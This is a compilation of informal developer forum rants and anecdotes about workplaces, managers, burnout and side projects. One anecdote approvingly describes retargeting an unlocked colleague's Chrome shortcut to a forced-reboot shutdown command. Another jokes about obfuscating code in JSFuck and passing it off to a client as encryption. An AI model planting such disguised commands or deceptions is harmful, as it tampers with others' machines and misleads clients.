At one of my previous gigs, the IT director was just some guy that dated the bosses daughter. When she inherited the company he went from entry level data analyst to his new director position. IF he decided to show up to work at all it would be at just in time for lunch, and then he'd head out shortly after.
This guy would ask for an estimate on development and then start the timer when marketing started working on the project. This would often lead to us estimating something like 4 months on a project, and then waiting on marketing for 3 of those months, leaving us with 30 days left.

Wanna dev, but the exams :(.

Vape bloggers be telling people that it's impossible to quit vaping salt nicotine but I quit successfully. Here's how it went:
1. I took my addiction to the point when I vaped three cartridges a day (that's a lot). I remembered that feeling and recalled that dizziness and urge to vomit instead of "pleasure" when I wanted to vape again
2. It's hard to quit on your own. Instead of nicorette and other shit that doesn't work (because it's also nicotine), I took Cytisine. It removed that URGE and the only thing left to tackle was a psychological addiction
3. Vaping and smoking in my head was tied to a cool moments that I experienced, like smoking with the boys after a hackaton, etc. I analyzed them and realized that they're cool not because of the fact of smoking, they are cool per se. So smoking was not necessary

In my last days of cytisine therapy I not only forgot that I vaped, I sometimes forgot to take cytisine. That means the therapy was successful. My average running distance already improved from 1.5 to 3 km.

There is a research that quitting consuming nicotine can help cure depression. I'll check on that

Tinder Tutorial 101:

I don't understand why everybody has issues with matches. Here is what u do:
1) Open Tinder App
2) Spam-Swipe to the right until you have no more swipes left.
3) Wait for matches
4) Separate good from trash.

Ain't nobody got time to read all these profiles

FUCK YOU LIFE!
YOU LEFT ME 3 HOURS WALKING IN THE COLD TO GET TO MY HOME FROM MY FUCKING INTERNSHIP!
WHY DO YOU ALWAYS ORGANIZE EVERYTHING SO THAT I.E. TODAY THE BUS DOES NOT ARRIVE AT THE BUS STATION??!?!??!?!?!!
I ALWAYS DON'T HAVE LUCK. WHATEVER I DO... I (ALMOST) ALWAYS FAIL AT IT (not talking about skill-related stuff! fuck you!)

Got to scratch of one of three remaining old (14years and counting) design mistakes this week.

Together with a colleague we replaced a 1.5 billion row table that I out of ignorance then designed with a 3 column composite primary key instead of an identity column.

Moving the data while keeping all synchronized (the table gets up towards 2 million new rows and 2 million updates a day while constantly being queried) took 1 week.

Just 2 skeletons left to clean out, any year now ;).

Raining outside, the office all to myself. The entire building is empty and here I am jamming to Volbeat while I finish some stuff for monday.

It sounds as If i am complaining, but I am not, i love this me time that I get at the end of every Friday (we leave at 12 but I stay about 3 hours extra to fuck around)

I love this shit. Boss got us pizza yesterday and there is still some left.

And i got some tobacco with me . This is some good shit my dudes. Good shit

!rant
Warning : This rant is long and is a rant asking for help and suggestions. If you will read and dont leave any comments, please go search other rants. Thanks.
-----------------------------------
Hi, fellow ranters. In our community, we have a tech class where teens (teens here mean 14yo -15yo) come to learn computer stuffs. Teens here are selected by a test and an interview. There are some teens who are f***ing awesome. One of them are proficient in scratch. (yeah, the orange cat) Another is awesome at PhotoShop, and the other loves windows xp. The teacher uses Microsoft Visual C++ IDE made in the 1990s. The kid sitting to my left made flappy bird with gamemaker. About 10 to 11 teens doesnt know what ctrl+alt+del does in windows and never did programming before... 3 among them always brings coke and oreos and eats super loudly. CRACK! And I bet no one knows about git.
Ok. Enough for the awesome teens. Now what we learn.
We learn C! Yes, C. We learned for, if else, switch and all those stuffs, then learned variables, which made other students who never did programming before be (―,.―).
Next class we will learn about functions in 3 hours. Then array and pointer in 3 hours. Thats it for c programming. Then we do some unnecessary stuffs and time for the finals.
We need to make a project with up to 4 teens as one team. Now I am asking you awesome ranters to suggest some projects for about 4 pros and 16 noobs can do. 10 hours are given in class and we can do in other times by ourselves in home. What should we do? I bet many of them will say to make ascii art in c which is dull and I have no thoughts of doing that.
Any thoughts will be appreciated.
Thank you for reading.
To see my skills, go to my profile page.
| Comments below
v

So we work on a Vmware network. And besides the terrible network lag. The specs of that VM is one core (Possibly one thread of a xeon core) and 3 GB RAM.

What do we do on it?
Develop heavy ass java GUI applications on eclipse. It lags in every fucking task. Can't even use latest versions of browsers because the VM is a fucking snail ass piece of shit!

So, in the team meeting I proposed to my manager, Hey our productivity is down because of this POS VM. Please raise the specs!.

He said mere words won't help. He needs proof.

Oh, you need proof ? Sure. I coded up a script that all of my team ran for a week. That generates a CSV with CPU usage, mem left, time - every 10 min. I use this data to show some motherfucking Graphs because apparently all they understand is graphs and shit.

So there you go. Have your proof! Now give me the specs I need to fucking work!

Hired by large prestigious company to do web development. Understanding at the outset, I was not a web developer, just wanted my foot in the door with the company. 2 days after orientation, I am placed on a $20 million contract expansion with 3 other developers. All new to this contract. So: new language, new technologies, new team, no leadership, no mentorship. 2 months later after a month of asking for help, I'm asked why I'm not delivering solid code by the project exec and moved to the testing team. Testing team lead introduces me to people on the contract and answers questions or tells me vaguely where to loom. Spend last 4 months building a professional fuck you by making myself a yes man to everyone and their mother. Left the contract and have been getting regular hours with them since (including developing for them). New contract loves me and despite the project execs attempt to torpedo me, I have an excellent reputation and am positioned for career advancement already.

I couldn't give him the finger, but I made him regret lettimg me go. Original team lead has since been released for unrelated HR complaint.

I'm going to have a test tomorrow... And I still don't know the grade of the test I've done over 1m ago (2nd of November)... And people are saying the teacher told them the grade is coming tomorrow when he told us on my class (2 different shifts) that it was coming out today... Someone send help please
In the uni's regulation it says that if teachers don't release our grades for a test 3d before the next one, we can talk to our pedagogic commission and ask to do something about it. People from my course on fb were talking about asking to remove the minimum grade on the average of our 2 tests, but IDK how that situation is and I don't think there's much we can do about it so on top of tomorrow's test. And changing the date of the test isn't really an option because we have 3 tests left on the next week and 1/2 and it's all so on top of each other so the only solution would be to make it after the 20th (that's our last test, and people have already booked flights to go home)

The Cup Saga
My cause is valiant. My warrior's hearts were true... And quite frankly we are sorry if we have offended you.

Background: been missing my favourite cup at the office. I brought said cup from home like many of the devs do, we have our preferences you know? For 3 weeks I have been drinking mediocre coffee and the endless quest for my cup perused... I couldn't find it.. It was just missing.... Where could my trusty cup have gone... Its been with me since my second job in 2014, and its gotten me through so many late nights and early mornings, the reward of the perfect ratio... Turns out... Someone took it because... Well they liked it and habe been holding on to it ever since.... Why? No one really knows.. But I have my cup... And I intend to guard it... Since unlike the other cups it cannot be left in the cupboard.. It has to be defended.... Valiantly we recovered the cup... And tirelessly we will guard it now.. Sweet cup of mine...

Sony.

I don’t *hate* them, but I had really high hopes for Xperia smartphones back then, five years ago.

So I saved up and bought one. That’s what I got:
1. It was getting slower and slower
2. Micro usb broke just months after I got the smartphone
3. Sticky fragile screen with absolutely no oleophobic coating
4. NO UPDATES TO KITKAT AND LOLLIPOP! They just left us behind!

5. The main reason.

I catch moments with my camera. For me, camera is a vital feature, the most significant factor.

I once needed it really urgent and it just said “Camera is unavailable”. And that’s all. Camera is gone forever, broken. Factory reset haven’t fixed it.

You, alongside with Meizu, turned me away from android irreversibly and forever. When I heard about no update, I literally felt abused. Just like a girl whom random fuckboy made a proposal to, fucked and then left just months later.

With that level of customer support, basic respect to me as a user and buyer and that level of quality control, fuck you and your sloppy bricks you call smartphones. Maybe things are changing now, but I don’t care anymore and hardly ever will.

P.S. it heats up as hell, fucking pocket stove

Managers at my jobs for the most part leave me be. Though I often have no clue whether I'm doing OK. I guess no news is good news right?

My worst experience isn't that bad. At one place, I was the only tester working on things coming from 20-30 devs. After about a year+, the company finally hired more testers, but it was still only 3 of us.

We were in the final stages of releasing a build to prod. It was going smoothly, or so we thought. At the last minute, I found a buried bug that was a showstopper.

A lot of hatred on me that day, that once it was fixed, and the release was finally deployed, I just shut off my laptop and left. I took all the blame because I was the one who found it rather than blaming the team as a whole for not finding it earlier. Oh well. Stuff happens.

Let's knock on wood that I don't run into worse higher up stories.

Never been promoted.

I was at my last job for 3 years 6 months (first out of uni), my last mid year review I was discussing my performance with my manager, he said I was doing everything I needed to be promoted, just needed to wait a bit longer. I had been performing at that level, with that extra responsibility, for 18 months.

I've since left for a job at Amazon, start in a week, and will literally double my salary. The thing that annoys me is I was one of the most junior engineers in the building, but giving support and teaching almost every engineer in the office. Granted, the company was only 30 people (mostly engineers), but still felt undervalued...

!rant

Went on holiday abroad for 3 weeks and left my laptop at home so as "not to distract me from enjoying myself".

I miss it every day 😔

Problem:
some folks left the angular codebase full of ridicolous console.logs, client was upset as he noticed it during UAT

Solution:
1. add extra script in main template page
window.console.log = function(){};
2. translate it into JSFuck
3. if they ask, pretend it's a super-secret encryption algorithm to improve security

A little and sweet rant about RANTS! What the hell guys, I can finally think about a social network happily, but I have the feeling that I'm not a part of this awesome community :'( I mean, everyone is getting problem with some clients or whatever. But I'm currently unemployed, and never really get through that kind of problems. Ok they lied to me on the job, ok I paid 15000 euros 2 years of school where there were still people who doesn't care about the work, ok I left my girlfriend, ok I have a fucking hard time to go back to work with that... But all of this is not really juicy, my life is simple and mostly happy :'(
Maybe I should hope that my next job will be with stupid people :o
I love you guys <3

My workplace has been forcing me to work everyday for almost a month now. I've been working at least 8-10 hours from Saturday to Thursday, and 2-3 hours on Friday as well. I'm so exhausted. I can't sleep properly. All I do is work. I have no time left to do things that I want to enjoy. I tried coding today but I'm too exhausted to do it. I was literally at 0 productivity today. I hate seeing my computer now. I don't know how to overcome this especially during the current lockdown situation. The work I do is not valued or appreciated and it's mentally breaking me honestly. I don't know what I want anymore. For sure another job but I need at least a temporary fix till the lockdown is over.

For those who know me or read through my profile, yup it's the same company. The reason I haven't left them even after all this is because this is a really tough time for me financially and I have no other sources of income and right now at my place there are no job opportunities. So the only option is to continue with the existing work place.

Somebody stole Ed's nuts...

Was moving my office a month or so ago and had to occupy a temporary cubicle for 2 weeks. In this cube I found a previous employee had left a jar of specialty peanuts. I thought: "You know who needs these specialty nuts? Ed." So I put them in Ed's office. He was gone that week. A coworker says "You know Ed is allergic to peanuts." Me: "Oh yeah, I forgot. That makes it even better!" Ed did get a good laugh about this.

Today I went into Ed's office with same coworker. I noticed the nuts were gone. I said, "Ed, where are your nuts?" He said: "Somebody stole them." So somebody did in fact steal Ed's nuts.

Ed is also the guy who had 3 US quarters on his desk. Someone replaced them with 3 Canadian quarters. Never did find out who did that. Legend.

Pro tip: how to reply to more than one person
1) click reply
2) close the reply by pressing the x button in the upper left hand corner.
3) click reply button of another person. Their name should now be added
4) Reference a Null Pointer
5) Profit?

Smashing on the keyboard
with 3 screens infront of my face
i spot a nasty bug,
In one of the features someone else made,
I called their office for aid,
But found no one is there to be
Of any aid to my sorry ass,
Now i have to debug the whole thing,
Oh,
Documenting code
Documenting code
Why didnt you document the damn thing
At least tell me you left some comments
To help debug thy algo tree
Oh ...

:'(

wk83 for me like,

The one on the left is my Colleague from work for past 3 years. We have worked with each other on a dozen projects. Tough challenges all the way.
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And that thing on the right is `my friend`.

Code ¯\_(ツ)_/¯ Friend

@dfox (this might not be the correct way to tag here, but we'll see once I post)

A few suggestions:

1. Being able to move between day, month etc. by swiping left or right

2. A web interface (to rant from a laptop/desktop)

3. Link "framing" (a-la WhatsApp, messenger, where links get a frame with a picture and description)

4. basic markdown (bold, quotes, etc. a-la Reddit. this might exist but I haven't run into it, and if it does maybe a preview window for the result would be helpful)

Really like the app, cheers!

There's this online game I like to play, basically you can play against 2 or 3 other people / robots. It's been free to play for almost a decade, but recently they decided to limit how many games you can play each day, unless you buy membership. It's not much, about 2€ per month, so I bought it to support the devs, they're doing good work and they're not spamming players with ads, so they need to get money for those servers somewhere.

But now I kinda regret it; there used to be a whole lot of casual players online all the time, now casual players reach their daily limit and when I log on in the evening, there are almost exclusively paying members left, giving you absolute shit for the tiniest mistakes.

On a completely unrelated note, what casual / relaxing multiplayer games would you recommend that don't require too much thinking & long-term skills?

This week we had a live production issue that our staff were catching/fixing on the fly. We're a relatively small software team without any direct external customers, so this is not too unusual.

Unfortunately, the person in charge of dealing with these issues didn't resolve it during the work week, so we were stuck with it over the weekend. Said responsible employee left at 2:30 on Friday without figuring out how we'd deal with the problem without any staff in the office to intercept problem cases. Better yet, he drove all the way back, and was there from 3:30 to 4 and promptly left again without telling the rest of the team what was going on with the production issue. We asked how it happened, what it was, etc, but didn't focus on his fix (in hindsight, a mistake).

Since it's his job, I assumed that he would let us know what was up before he left on Friday. It turns out that he never addressed the production issue at all and just decided to leave.

A junior developer and I spent two hours contacting management (who, at this time are already at home with their families) to get clearance to either shut the system off or fix it. No one wants to give it and no one that's high enough up to approve the decision is available.

In the end, we asked the weekend mechanical support team (some friends of mine) to monitor the issue and they kindly accepted.

All of this could have been avoided if my coworker had either told us his plan earlier (so we could ask about the lack of coverage), gotten approval to shut it down for the weekend, or covered his own ass before he left for the day.

Ugggh. I get that we all make mistakes, but I really hope this guy shapes up soon.

when you're in an online job interview and after it your laptop only has 3% of juice left :)

YEARS of practice. I had my ups and downs. I learned myself, left it myself early on, came back to it half a year later, continued since. Figured out that web development is not the hell I wanted and quickly fell in love with iOS development in Swift. Been riding on the wind ever since, learning something new every single day.

Today I made something that some time ago took me about 3 weeks in less than an hour. If that’s not an improvement, I don’t know what that is.

Practice makes perfect, don’t forget that. Although it sounds ridiculously cheesy and shit, this is how it goes.

I’m getting drafted tomorrow. Well, this is not exactly a full on draft and joining the IDF (Israeli Defense Force) right NAO, it’s what we call a rough draft: I am having a psychotechnical examination so the military can understand how much I need to go to a cybersecurity unit instead of going to Gaza LMAO.

Here it goes,

So there I was a Linux enthusiast stuck in a windows job for about 3 years. I would spend my weekends doing Linux related tasks for my personal amusement, while I spent my week doing windows maintenance and development (partially) professionally.
It was about 2014 I started building an openstack cluster at home and i was so stoked! I searched for openstack summits or meetups and for my surprise there was an openstack meetup in my town. Holly 🐄 I said.
The date of the event came and I left work earlier to attend the meetup.
There , I had a talk with the meetup organizer/speaker and he told he was interested in what I was doing and that they were going to open a job in the next months.

A few months later still at my boring job I got an email from him for an interview.
Everything went just about right...and here I am a Linux systems engineer doing everything I love for a living...

When I was freelancing and still studying 60 hrs a week.
~20 hrs. bread-and-butter job
~20 hrs. for University
~20 hrs. writing a full-stack application for a startup

I did that for about 3 months, afterwards I luckily had no classes left.
Only, the thesis is still open. But on the other hand, the freelance work for the startup was a pretty good reference for scoring an actual, well-paid position which made me leave my old job as well as freelancing.

Now I work roughly 40 hours a week with nearly as much freedom as a freelancer but less paperwork.

From the only tech guy (after co worker left) at my old job to 'the new guy' at my new job

Its a fucking flip lol
But at least I'm not dealing with a terrible ceo and growth

Day 3 and they're already trusting me with stuff and not treating me like a child even though I'm asking a million questions

And they're already discussing how I can use my actual background experience to do new unique things for the department rather than just bogging me down with instructions and "do it this way"

ideal sprint fallacy.
total days 10 , total hours(excluding breaks ) 8 hrs per day= 80 hrs per dev

code freeze day = day 8, testing+ fixing days : 8,9,10. release day : day 10
so ideal dev time = 7days/56 hr
meetings= - 1hr per day => 49 hrs per dev

- 1 day for planning i.e d1 . so dev time left . 6 days 42 hrs.
-----------
all good planning. now here comes the messups

1. last release took some time. so planning could not happen on d1. all devs are waiting. . devtime = 5 days 35 hrs.

2. during planning:
mgr: hey devx what's the status on task 1?
d: i integrated mock apis. if server has made the apis, i will test them .
mgr : server says the apis are done. whats your guestimate for the task completion?
d : max 1-2 hrs?
m : cool. i assign you 4 hrs for this. now what about task 2?
d : task told to me is done and working . however sub mgr mentioned that a new screen will be added. so that will take time
m : no we probably won't be taking the screen. what's your giestimate?
d : a few more testing on existing features. maybe 1-2 hrs ?
m: cool
another 4 hrs for u. what about task 3?
d : <same story>
m : cool. another 4 hrs for u. so a total of 12 hrs out of 35 hrs? you must be relaxed this sprint.
d : yeah i guess.
m cool.
-------
timelines.
d1: wasted i previous sprint
d2 : sprint planning
d3 : 3+ hrs of meetings, apis for task 1 weren't available sub manager randomly decided that yes we can add another screen but didn't discussed. updates on all 3 tasks : no change in status
d4 : same story. dev apis starts failing so testing comes to halt.
d5 : apis for task1 available . task 3 got additional improvement points from mgr out of random. some prod issue happens which takes 4+ hrs. update on tasks : some more work done on task 3, task 1 and 2 remains same.
d6 : task1 apis are different from mocks. additionally 2 apis start breaking and its come to know thatgrs did not explain the task properly. finally after another 3+ hrs of discussion , we come to some conclusions and resolutions
d7 : prod issue again comes. 4+ hrs goes into it . task 2 and 3 are discussed for new screen additiona that can easily take 2+ days to be created . we agree tot ake 1 and drop 2nd task's changes i finish task 2 new screens in 6 hrs , hoping that finally everything will be fine.

d8 : prod issue again comes, and changes are requested in task 2 and 3

day 9 build finally goes to tester
day 10 first few bugs come with approval for some tasks
day 11(day 1 of new sprint) final build with fixes is shared. new bugs (unrelated to tasks. basically new features disguised as bugs) are raised . we reject and release the build.

day 2 sprint planning
mgr : hey dev x, u had only 12 hrs of work in your plate. why did the build got delayed?

🥲🫡

My first job was 3 years ago.
I was tasked to create feature updates for a referral system.
There were two programmers in that project , both had left the company before I started.
There left no documentation whatsoever. They gave me a copy of user manual as my guide. HAHA!
Half of the code was in code igniter framework(wasn't even familiar with it then), the other half was hard coded.
It was a total nightmare. Wish I had the guts to call it quits then and there. XD

I feel bad for my ex-colleague. He left the company for multiple reasons and is now employed for 2-3 months somewhere else as a freelancer.

That company just announced they'll outsource all their freelancers to India. Now he has to job search again :(

if(isset($form_state['concert_fieldset_container'][$key]['concert_fieldset']['broadcasting_fieldset']['features']['comments_conditions']) && !empty($form_state['concert_fieldset_container'][$key]['concert_fieldset']['broadcasting_fieldset']['features']['comments_conditions'])) {
$variables['concerts'][$key]['field_concert_comment_conditions']['value'] = $form_state['concert_fieldset_container'][$key]['concert_fieldset']['broadcasting_fieldset']['features']['comments_conditions'];
$variables['concerts'][$key]['field_concert_comment_conditions']['fieldDefinition']['label'] = $this->give_label($type, 'field_concert_comment_conditions');
}

THIS SHOULD BE ILLEGAL! FUCKING BURN DRUPAL TO ASHES AND SHIT ON THE TOP OF IT!!

God fucking damnit 3 months left before I leave this place.

full of contradiction.

If u try freelancing nobody would pay you shit coz theres always someone who'd do it for 100$.

If you do get a good budget freelance project, any Dev you'd consider outsourcing to to split the work with will ask for more than the project is worth.

There's a lot of competition but it's basically made up of

- people from fancy universities who dont know shit coz they think their degree is worth something on its own and expect high salaries off the bat.

- people who figured out the first group are idiots and tried to self learn, so they joined bootcamps that spoon fed them some Laravel and React and now think they are high tier engineers but may not even know their way around a bash terminal

- people who actually know their shit, went through hell to get the skills they have now, could probably spin up a startup on their own

group 3 all left the country tho

A bit late but I just remembered this story.. at my college the people in the IT department always watch for when another professor or student leaves their computer unlocked and then change their wallpaper to something funny (e.g. my little pony). One time the instructor from the class before mine left their machine logged in and my professor asked the class "what should we do?"

I suggested he modify the chrome shortcut on the desktop and change the path to 'C:\windows\system32\cmd.exe /c shutdown /r /t 0' then pin it to the taskbar. And he did it.

I wasn't in that class but I heard that she clicked it 3 times before she figured out what was going on. She never fixed it the whole rest of the quarter (simply launching chrome from the start menu) and would occasionally forget and click the taskbar icon and go through the whole thing again.

As fate would have it I got 2 classes with that instructor the next quarter. We're friends so it's all good but I still get flack about it and I don't dare leave my computer unlocked xD

The team leader call us for a serious meeting, and he wants it to be productive,

Leader: "we shall not procrastinate anymore. We don't have time left. We should not just talk random bullshit like we did the last few times. Aight?"

We all agree to be productive.

We also set a few main subjects and decision to be discussed. Then, we all get into the meeting room seriously. In a meeting, we try the idea of the upcoming project. But we suddenly went off topic. Then, My friend talk about L4D2. Then we start playing. And, I say, why not try some GTA5? I proudly reboot my expensive laptop from Ubuntu to Windows and playing GTA. Then, we start spotify and talk about song.

We laid in the sofa and talk sexually. My friend introduce me his favorite AV and we compare our manhood's size.

It was 4am already. One by one the attendee fall asleep.

It is lIke... the survival gamr of sleepiness? xD

Only my best boy friend and I were left awake, talking about ourselves, watching the beautiful midnight city.

Then, 2 of us ourselves start to talk about project idea. It is something cool and crazy to think about, like a friend making app. The 3 hours of brainstorming is gay and romantic.

"Okay, so we have the outline. let's sleep, baby" So we sleep till the noon. We wake up. Some left. Some were still sleeping. The birds twitter in the bequtiful skyline.
I did not forget to upload my idea to discord after going home in the morning. End of the meeting. Barely any goal was met in the meeting.

Those days, we make attempt of productive meeting again and again but end up procrastinating everyday. We had meeting in a small bedroom and it was our meeting room. We played different songs, tasted different wines.

And, finally one day, my friend say "I feel that it is much productive to work alone in a separate room. So we won't get distracted by each other."
Another friend: "yea..I know it is harsh... but yea... true... let's work alone"

I almost eant to cry. But we cannot indulge ourselves in the moments of dreamy romance.

We should start real work and don't be gay.

While I was exploring multiplication tables I stumbled on something cool.
Take any power of 2 on the multiplication chart.
Now look at the number in the bottom left adjacent box.
The difference of these two numbers will always be a Mersenne number.
Go ahead. Starting on the 2's column of a multiplication table, look in the bottom left of each power of 2 and get the difference.

2-2 = 0
4-3= 1
8-5 = 3
16-9=7
32-17=15

etc.

While the online journal of integer sequences lists a lot of forumlas, I just wrote what came to mind (I'm sure its already known):
((2**i)-(((2**i)/2)+1))

The interesting thing about this is it generates not only the Mersenne numbers, but if you run i *backwards* it generates *additional* numbers.
So its a superset of mersenne numbers.

at i = 0 we get -0.5
i=-1 -> -0.75
i=-2 -> -0.875
i=-3 -> -0.9375
i=-4 -> -0.96875

And while this sequence is *not* mersenne numbers, mersenne numbers *are* in this set.

Just a curious discovery is all.

After 3 months of working at my current and first job I inherited a spaghetti codebase with files as large as 1000 lines because my mentor left.
Everything works but dare to change a thing. No Unit tests or any sane practices. At least our CI/CD is automated. 😂

Now I am asked to bend the library backwards in order to integrate it with another product. No one helps me and I am slowly starting to feel devastated. 😩

The best teammates are those those who don't care about the project for 3 months and then one week before the deadline ask: "Is there anything left to do?"

An anti-rant: I just made some code and out of nowhere it suddenly had an awesome feature that I didn't even program. No, not a euphemism for "bug", an actual feature.

Here's the story: A few months ago I made a shortcut for "System.out.println(…)" called "print(…)". Then I developed it further to also print arrays as "[1,2,3]", lists as "{1,2,3}", work with nested arrays and lists and accept multiple arguments.
Today I wanted to expand the list printing feature, which previously only worked for ArrayLists, to all types of List. That caused a few problems, but eventually I got it to work. Then I also wanted to expand it to all instances of Collection. As a first step, I replaced the two references to "List" with "Collection" and magically, no error message. So I tested it with this code:

HashMap<Integer, String> map = new HashMap<>();
map.put(1, "1");
map.put(2, "");
map.put(3, "a");
print(map);

And magic happened! The output was:

{1=1, 2=, 3=a}

That's awesome! I didn't even think yet about how I wanted to display key-value pairs, but Java already gave me the perfect solution. Now the next puzzle is where the space after the comma comes from, because I didn't program that in either.

I feel a bit like a character in "The subtle knife", who writes a barebones program to communicate with sentient elementary particles (believe me, it makes sense in context) and suddenly there's text alignment on the left and right, without that character having programmed any alignment.

I left my previous job without notice period (didnt need to coz i hadnt signed any contracts with them yet and have not been there for more that 3 months) so they got pissed and decided to not pay me my monthly salary.

Today (4 months later) they have the nerve to contact me to check if I want to go back to them. :)

[CMS of Doom™]
Imagine creating a CMS so bad that you let the owner (who I work for) define in a simple input field what email address is used as the sender address for the welcome email of newly registered users.
Basically they filled in a personal email of the company some 3 years ago AND of course the person with said email address left the company a few months later thus for some 2-3 years newly registered users received a welcome email with a sender address of an unavailable user.

And I thought I've seen it all in this CMS...

A programme I have to maintain (and not allowed to optimise or change):

1) read input from serial connection
2) store data in MySQL database
3) every day convert to CSV
4) store on Windows file share
5) process CSV in access 2000
6) store in MsSQL database

When it was first developed, I said to te developer to store it straight from serial to MsSQL but out boss wanted it to follow the above spec.

He has now left and I have to maintain it

I feel no energy

no will

no power

no strength to move

i feel so.... empty....void.... null...... Soulless.... dont know how to describe

if something bad were to happen again or if someone were to die, i wouldnt have the energy to cry even if i wanted to, that is how low i feel these days can u even imagine that....

2h of sleep for the past 3 days

no energy to even workout because i feel like im about to faint if i do

all thats left is little piece of motivation inside me for whatever reason still alive and it keeps me moving

So we called out our project manager and tech leader, who sent out an email last Friday to our bosses and stakeholders a project schedule - which we never knew about until we saw it in our inboxes - that showed we had already completed development and would go on to UAT testing by next week.

Except if you look at our agile board we have 3 weeks of dev tasks left and a couple more for testing and QA. Then our dev environment is shit because the deployment steps in TeamCity were not properly done by Dev Ops. And we still don't have a UAT environment created, much less tested out. And the project manager is about to go on a one-month vacation. Great!

So we replied back with all the aforementioned information (less the swearing and name-calling) and sent it out to the same recipients, including our bosses and stakeholders.

That was such a fun Friday afternoon.

We basically don't unit test at work. I write some tests for my code and honest to God people complain I'm wasting time saying a test bed and manual tests are good enough. We don't write test beds for about half of our production code and rely on integration tests for the rest. We only test release builds which have been symbol stripped, I get handed a crash report with no stack trace that I'm unable to reproduce and expected to stay late to fix it for some arbitrary internal deadline.

I've since moved to R&D where basically I'm left to do my own thing so it's better.

We don't project manage. Project leads take time estimates and double them so management might cut them some slack. This doesn't matter because management made up time estimates before the project started. Last project I was on had a timeline of 3 months and took a year.

We have released broken products. Not that any of the above really matters, our software products have made about 50k revenue in 2 years. There are 6 people on software. Fortunately hardware has made about 3 mill. That said our hardware customers are getting frustrated with us as we keep fucking up, shipping broken products and missing deadlines.

I've been working there about a year and a half and will be looking for a job at the end of the current project.

I joined devRant about when I was most pissed off with my job, my rant frequency has definitely gone down since I moved over to R&D.

11:30 in my timezone. Was supposed to wrap-up meeting for project finalization 3 hours ago. Sitting here rn, listening to a coworker in management explain the importance of equal respect for all employees in the company. The Boss has left the meeting because he has "better" things to do. FML